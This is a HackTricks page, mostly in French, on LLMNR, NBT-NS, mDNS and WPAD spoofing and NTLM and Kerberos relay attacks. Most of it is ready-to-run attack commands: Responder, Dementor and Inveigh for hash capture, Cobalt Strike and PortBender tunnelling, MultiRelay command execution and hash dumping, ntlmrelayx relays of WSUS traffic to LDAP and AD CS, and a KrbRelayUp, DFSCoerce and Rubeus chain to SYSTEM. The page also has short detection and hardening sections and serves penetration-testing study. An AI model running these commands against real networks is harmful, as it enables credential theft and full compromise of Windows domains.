Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Protocoles réseau

Protocoles de résolution de noms locaux

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft et autres systĂšmes d’exploitation utilisent LLMNR et NBT-NS pour la rĂ©solution de noms locale lorsque DNS Ă©choue. De mĂȘme, les systĂšmes Apple et Linux utilisent mDNS.
  • Ces protocoles sont susceptibles d’interception et de spoofing en raison de leur nature non authentifiĂ©e et broadcast sur UDP.
  • Responder and Dementor peuvent ĂȘtre utilisĂ©s pour usurper des services en envoyant des rĂ©ponses falsifiĂ©es aux hĂŽtes qui interrogent ces protocoles.
  • De plus amples informations sur l’usurpation de services utilisant Responder sont disponibles ici.

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD permet aux navigateurs de dĂ©couvrir automatiquement les paramĂštres de proxy.
  • La dĂ©couverte se fait via DHCP, DNS, ou par repli sur LLMNR et NBT-NS si DNS Ă©choue.
  • Responder peut automatiser les attaques WPAD, dirigeant les clients vers des serveurs WPAD malveillants.

Responder/Dementor for Protocol Poisoning

  • Responder est un outil utilisĂ© pour empoisonner les requĂȘtes LLMNR, NBT-NS et mDNS, rĂ©pondant de maniĂšre sĂ©lective selon le type de requĂȘte, ciblant principalement les services SMB.

  • Il est prĂ©installĂ© dans Kali Linux, configurable dans /etc/responder/Responder.conf.

  • Responder affiche les hashes capturĂ©s Ă  l’écran et les enregistre dans le rĂ©pertoire /usr/share/responder/logs.

  • Il prend en charge IPv4 et IPv6.

  • Une version Windows de Responder est disponible ici.

  • Dementor Ă©tend les fonctionnalitĂ©s d’empoisonnement multicast et agit en outre comme fournisseur de services malveillant (incluant le support CUPS RCE)

  • La structure gĂ©nĂ©rale est similaire Ă  Responder avec une configuration plus granulaire. (le fichier par dĂ©faut est ici : Dementor.toml)

  • La compatibilitĂ© entre Dementor et Responder est indiquĂ©e ici : Compatibility Matrix

  • Intro et documentation ici : Dementor - Docs

  • Corrige les problĂšmes de capture introduits par Responder sur certains protocoles

Lancer Responder

  • Pour lancer Responder avec les paramĂštres par dĂ©faut : responder -I <Interface>
  • Pour des sondages plus agressifs (avec effets secondaires possibles) : responder -I <Interface> -P -r -v
  • Techniques pour capturer les challenges/rĂ©ponses NTLMv1 pour faciliter le cracking : responder -I <Interface> --lm --disable-ess
  • L’usurpation WPAD peut ĂȘtre activĂ©e avec : responder -I <Interface> --wpad
  • Les requĂȘtes NetBIOS peuvent ĂȘtre rĂ©solues vers l’IP de l’attaquant, et un proxy d’authentification peut ĂȘtre mis en place : responder.py -I <interface> -Pv

Lancer Dementor

  • Avec les paramĂštres par dĂ©faut : Dementor -I <interface>
  • Avec les paramĂštres par dĂ©faut en mode analyse : Dementor -I <interface> -A
  • RĂ©trogradation automatique de session NTLM (ESS) : Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
  • ExĂ©cuter la session courante avec une config personnalisĂ©e : Dementor -I <interface> --config <file.toml>

DHCP Poisoning with Responder

  • Le spoofing des rĂ©ponses DHCP peut empoisonner de façon permanente les informations de routage d’une victime, offrant une alternative plus discrĂšte Ă  l’ARP poisoning.
  • Cela nĂ©cessite une connaissance prĂ©cise de la configuration du rĂ©seau cible.
  • Lancer l’attaque : ./Responder.py -I eth0 -Pdv
  • Cette mĂ©thode peut capturer efficacement les hashes NTLMv1/2, mais nĂ©cessite une manipulation prudente pour Ă©viter la perturbation du rĂ©seau.

Capturing Credentials with Responder/Dementor

  • Responder/Dementor vont usurper des services utilisant les protocoles mentionnĂ©s ci-dessus, capturant des identifiants (gĂ©nĂ©ralement NTLMv2 Challenge/Response) lorsqu’un utilisateur tente de s’authentifier contre les services usurpĂ©s.
  • Des tentatives peuvent ĂȘtre faites pour rĂ©trograder vers NetNTLMv1 ou dĂ©sactiver ESS afin de faciliter le cracking des identifiants.

Il est crucial de noter que l’utilisation de ces techniques doit ĂȘtre effectuĂ©e lĂ©galement et de maniĂšre Ă©thique, avec une autorisation appropriĂ©e et en Ă©vitant toute perturbation ou accĂšs non autorisĂ©.

Inveigh

Inveigh est un outil pour penetration testers and red teamers, conçu pour les systĂšmes Windows. Il offre des fonctionnalitĂ©s similaires Ă  Responder, exĂ©cutant du spoofing et des attaques man-in-the-middle. L’outil a Ă©voluĂ© d’un script PowerShell vers un binaire C#, avec Inveigh et InveighZero comme principales versions. Les paramĂštres dĂ©taillĂ©s et instructions se trouvent dans le wiki.

Inveigh peut ĂȘtre utilisĂ© via PowerShell:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

Ou exécuté en tant que binaire C# :

Inveigh.exe

NTLM Relay Attack

Cette attaque exploite les sessions d’authentification SMB pour accĂ©der Ă  une machine cible, accordant un shell systĂšme si elle rĂ©ussit. Les prĂ©requis clĂ©s incluent :

  • L’utilisateur authentifiĂ© doit disposer d’un accĂšs Local Admin sur l’hĂŽte relayĂ©.
  • SMB signing doit ĂȘtre dĂ©sactivĂ©.

445 Port Forwarding and Tunneling

Dans les scĂ©narios oĂč une introduction rĂ©seau directe n’est pas possible, le trafic sur le port 445 doit ĂȘtre redirigĂ© et tunnelisĂ©. Des outils tels que PortBender aident Ă  rediriger le trafic du port 445 vers un autre port, ce qui est essentiel lorsque l’accĂšs Local Admin est disponible pour le chargement de drivers.

PortBender setup and operation in Cobalt Strike:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

Autres outils pour NTLM Relay Attack

  • Metasploit : Configurer avec des proxies, et les dĂ©tails de l’hĂŽte local et distant.
  • smbrelayx : Un script Python pour relayer des sessions SMB et exĂ©cuter des commandes ou dĂ©ployer des backdoors.
  • MultiRelay : Un outil de la suite Responder pour relayer des utilisateurs spĂ©cifiques ou tous les utilisateurs, exĂ©cuter des commandes ou dump hashes.

Chaque outil peut ĂȘtre configurĂ© pour fonctionner via un SOCKS proxy si nĂ©cessaire, permettant des attaques mĂȘme avec un accĂšs rĂ©seau indirect.

Fonctionnement de MultiRelay

MultiRelay s’exĂ©cute depuis le rĂ©pertoire /usr/share/responder/tools, en ciblant des adresses IP ou des utilisateurs spĂ©cifiques.

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

Ces outils et techniques constituent un ensemble complet pour effectuer des attaques NTLM Relay dans divers environnements réseau.

Abuser de WSUS HTTP (8530) pour NTLM Relay vers LDAP/SMB/AD CS (ESC8)

WSUS clients s’authentifient auprĂšs de leur serveur de mise Ă  jour en utilisant NTLM sur HTTP (8530) ou HTTPS (8531). Lorsque HTTP est activĂ©, les vĂ©rifications pĂ©riodiques des clients peuvent ĂȘtre coercĂ©es ou interceptĂ©es sur le segment local et relayĂ©es avec ntlmrelayx vers des points de terminaison LDAP/LDAPS/SMB ou AD CS HTTP (ESC8) sans craquer de hachages. Cela se fond dans le trafic de mise Ă  jour normal et donne frĂ©quemment des authentifications de comptes-machine (HOST$).

What to look for

  • GPO/registry configuration under HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate and 
\WindowsUpdate\AU:
  • WUServer (e.g., http://wsus.domain.local:8530)
  • WUStatusServer (reporting URL)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled and DetectionFrequency (hours)
  • WSUS SOAP endpoints used by clients over HTTP:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • Default ports: 8530/tcp HTTP, 8531/tcp HTTPS

Reconnaissance

  • Non authentifiĂ©
  • Scan for listeners: nmap -sSVC -Pn –open -p 8530,8531 -iL
  • Surveillez le trafic HTTP WSUS via un MITM L2 et consignez les clients/endpoints actifs avec wsusniff.py (HTTP seulement Ă  moins de pouvoir faire faire confiance Ă  votre certificat TLS aux clients).
  • AuthentifiĂ©
  • Parse SYSVOL GPOs for WSUS keys with MANSPIDER + regpol (wsuspider.sh wrapper summarises WUServer/WUStatusServer/UseWUServer).
  • Query endpoints at scale from hosts (NetExec) or locally: nxc smb -u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay steps

  1. Position for MITM (same L2) so a client resolves the WSUS server to you (ARP/DNS poisoning, Bettercap, mitm6, etc.). Example with arpspoof: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. Redirect port 8530 to your relay listener (optional, convenient): iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers

  3. Start ntlmrelayx with the HTTP listener (requires Impacket support for HTTP listener; see PRs below): ntlmrelayx.py -t ldap:// -smb2support -socks –keep-relaying –http-port 8530

Other common targets:

  • Relay to SMB (if signing off) for exec/dump: -t smb://
  • Relay to LDAPS for directory changes (e.g., RBCD): -t ldaps://
  • Relay to AD CS web enrollment (ESC8) to mint a cert and then authenticate via Schannel/PKINIT: ntlmrelayx.py –http-port 8530 -t http:///certsrv/certfnsh.asp –adcs –no-http-server For deeper AD CS abuse paths and tooling, see the AD CS page:

AD CS Domain Escalation

  1. Trigger a client check-in or wait for schedule. From a client: wuauclt.exe /detectnow or use the Windows Update UI (Check for updates).

  2. Use the authenticated SOCKS sessions (if -socks) or direct relay results for post-exploitation (LDAP changes, SMB ops, or AD CS certificate issuance for later authentication).

HTTPS constraint (8531)

  • L’interception passive de WSUS via HTTPS est inefficace Ă  moins que les clients ne fassent confiance Ă  votre certificat. Sans un certificat de confiance ou une autre rupture TLS, la poignĂ©e de main NTLM ne peut pas ĂȘtre rĂ©coltĂ©e/relayĂ©e depuis le trafic WSUS HTTPS.

Notes

  • WSUS a Ă©tĂ© annoncĂ© comme obsolĂšte mais reste largement dĂ©ployĂ© ; HTTP (8530) est encore courant dans de nombreux environnements.
  • Outils utiles: wsusniff.py (observer les check-ins WSUS HTTP), wsuspider.sh (Ă©numĂ©rer WUServer/WUStatusServer depuis les GPOs), NetExec reg-query Ă  grande Ă©chelle.
  • Impacket a restaurĂ© le support du listener HTTP pour ntlmrelayx dans le PR #2034 (ajout initial dans le PR #913).

Forcer les connexions NTLM

In Windows you may be able to force some privileged accounts to authenticate to arbitrary machines. Read the following page to learn how:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack steals an AP-REQ ticket from one service and re-uses it against a second service that shares the same computer-account key (because both SPNs sit on the same $ machine account). This works even though the SPNs’ service classes differ (e.g. CIFS/ → LDAP/) because the key that decrypts the ticket is the machine’s NT hash, not the SPN string itself and the SPN string is not part of the signature.

Unlike NTLM relay, the hop is limited to the same host but, if you target a protocol that lets you write to LDAP, you can chain into Resource-Based Constrained Delegation (RBCD) or AD CS enrollment and pop NT AUTHORITY\SYSTEM in a single shot.

For detailed info about this attack check:

TokenPurposeRelay relevance
TGT / AS-REQ ↔ REPProuve l’utilisateur auprĂšs du KDCinaltĂ©rĂ©
Service ticket / TGS-REQ ↔ REPLiĂ© Ă  un SPN ; chiffrĂ© avec la clĂ© du propriĂ©taire du SPNinterchangeable si les SPN partagent le mĂȘme compte
AP-REQLe client envoie le TGS au servicece que nous volons et rejouons
  • Les tickets sont chiffrĂ©s avec la clĂ© dĂ©rivĂ©e du mot de passe du compte qui possĂšde le SPN.
  • L’Authenticator Ă  l’intĂ©rieur de l’AP-REQ contient un horodatage de 5 minutes ; une relecture dans cette fenĂȘtre est valide jusqu’à ce que le cache du service dĂ©tecte un doublon.
  • Windows vĂ©rifie rarement si la chaĂźne SPN dans le ticket correspond au service que vous touchez, donc un ticket pour CIFS/HOST se dĂ©chiffre normalement bien sur LDAP/HOST.
    1. Ce qui doit ĂȘtre vrai pour relayer Kerberos
  1. Shared key: source and target SPNs belong to the same computer account (default on Windows servers).
  2. No channel protection: SMB/LDAP signing off and EPA off for HTTP/LDAPS.
  3. You can intercept or coerce authentication: LLMNR/NBNS poison, DNS spoof, PetitPotam / DFSCoerce RPC, fake AuthIP, rogue DCOM, etc..
  4. Ticket source not already used: you win the race before the real packet hits or block it entirely; otherwise the server’s replay cache fires Event 4649.
  5. You need to somehow be able to perform a MitM in the communication maybe being part of the DNSAmins group to modify the DNS of the domain or being able to change the HOST file of the victim.

Kerberos Relay Steps

  • 3.1 Recon de l’hĂŽte
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 DĂ©marrer le relay listener

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp regroupe KrbRelay → LDAP → RBCD → Rubeus → SCM bypass en un seul binaire.

  • 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce fait en sorte que le DC envoie un ticket Kerberos CIFS/DC01 vers nous.

  • 3.4 Relay the AP-REQ

KrbRelay extrait le GSS blob de SMB, le rĂ©emballe dans un LDAP bind, et le transmet Ă  ldap://DC01 — l’authentification rĂ©ussit parce que la mĂȘme clĂ© le dĂ©chiffre.

  • 3.5 Abuse LDAP ➜ RBCD ➜ SYSTEM
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

Vous possédez maintenant NT AUTHORITY\SYSTEM.

Autres chemins Ă  connaĂźtre

VectorTrickWhy it matters
AuthIP / IPSecUn faux serveur envoie un GSS-ID payload avec n’importe quel SPN ; le client construit une AP-REQ directement vers vousWorks even across subnets; machine creds by default
DCOM / MSRPCUn OXID resolver malveillant force le client à s’authentifier sur un SPN et un port arbitrairesPriv-esc purement locale ; contourne le pare-feu
AD CS Web EnrollRelayer le ticket machine vers HTTP/CA et obtenir un cert, puis PKINIT pour mint TGTsContourne les protections de signature LDAP
Shadow CredentialsÉcrire msDS-KeyCredentialLink, puis PKINIT avec une paire de clĂ©s forgĂ©ePas besoin d’ajouter un compte machine

Dépannage

ErrorMeaningFix
KRB_AP_ERR_MODIFIEDClĂ© du ticket ≠ clĂ© cibleMauvais hĂŽte/SPN
KRB_AP_ERR_SKEWHorloge > 5 min de dĂ©calageSynchroniser l’heure ou utiliser w32tm
LDAP bind failsSignature requiseUtiliser le chemin AD CS ou désactiver la signature
Event 4649 spamLe service a vu un Authenticator dupliquébloquer ou devancer (race) le paquet original

Détection

  • Augmentation des Event 4769 pour CIFS/, HTTP/, LDAP/ provenant de la mĂȘme source en quelques secondes.
  • Event 4649 sur le service indique une tentative de replay dĂ©tectĂ©e.
  • Un logon Kerberos depuis 127.0.0.1 (relay vers le SCM local) est trĂšs suspect — cartographier via une rĂšgle Sigma dans les docs KrbRelayUp.
  • Surveiller les modifications des attributs msDS-AllowedToActOnBehalfOfOtherIdentity ou msDS-KeyCredentialLink.

Durcissement

  1. Exiger la signature LDAP et SMB + EPA sur chaque serveur.
  2. SĂ©parer les SPNs afin que HTTP ne soit pas sur le mĂȘme compte que CIFS/LDAP.
  3. Corriger les vecteurs de coercition (PetitPotam KB5005413, DFS, AuthIP).
  4. DĂ©finir ms-DS-MachineAccountQuota = 0 pour empĂȘcher les jonctions de comptes ordinateurs non autorisĂ©es.
  5. Alerter sur Event 4649 et les logons Kerberos en loopback inattendus.

References

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks